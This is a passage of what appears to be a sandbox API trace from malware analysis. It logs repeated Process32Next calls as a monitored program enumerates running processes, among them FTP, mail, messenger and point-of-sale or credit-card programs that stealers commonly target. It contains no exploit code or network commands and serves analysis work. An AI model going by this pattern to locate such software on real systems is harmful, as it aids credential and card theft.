szExeFile="WmiPrvSE.exe")) returned 1 [0127.736] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.739] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0127.741] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0127.743] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0127.755] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0127.775] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0127.778] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0127.781] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0127.784] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0127.786] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0127.789] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0127.792] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0127.794] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0127.797] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0127.799] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0127.801] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0127.804] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0127.807] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0127.809] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0127.812] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0127.815] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0127.817] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0127.820] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0127.823] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0127.826] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0127.829] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0127.832] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0127.835] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0127.838] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0127.841] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0127.843] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0127.846] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0127.850] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0127.852] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0127.855] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0127.860] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0127.863] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0127.866] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0127.869] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0127.872] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0127.875] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0127.878] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0127.887] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0127.893] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0127.896] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0127.899] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0127.902] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0127.904] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0127.907] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0127.910] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0127.913] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0127.916] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0127.919] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0127.922] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0127.925] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0127.927] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0127.930] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0127.932] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0127.935] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0127.938] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0127.940] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0127.943] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0127.946] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0127.948] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0127.950] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0127.953] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0127.956] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0127.959] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0127.962] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0127.965] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0127.967] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0127.970] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0127.972] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0127.975] Process32Next (in: hSnapshot=0x1ff8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0127.987] CloseHandle (hObject=0x1ff8) returned 1 [0127.987] Sleep (dwMilliseconds=0x64) [0128.088] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x207c [0128.136] Process32First (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.139] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0128.142] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0128.145] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.147] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0128.149] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.152] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0128.154] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0128.157] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, 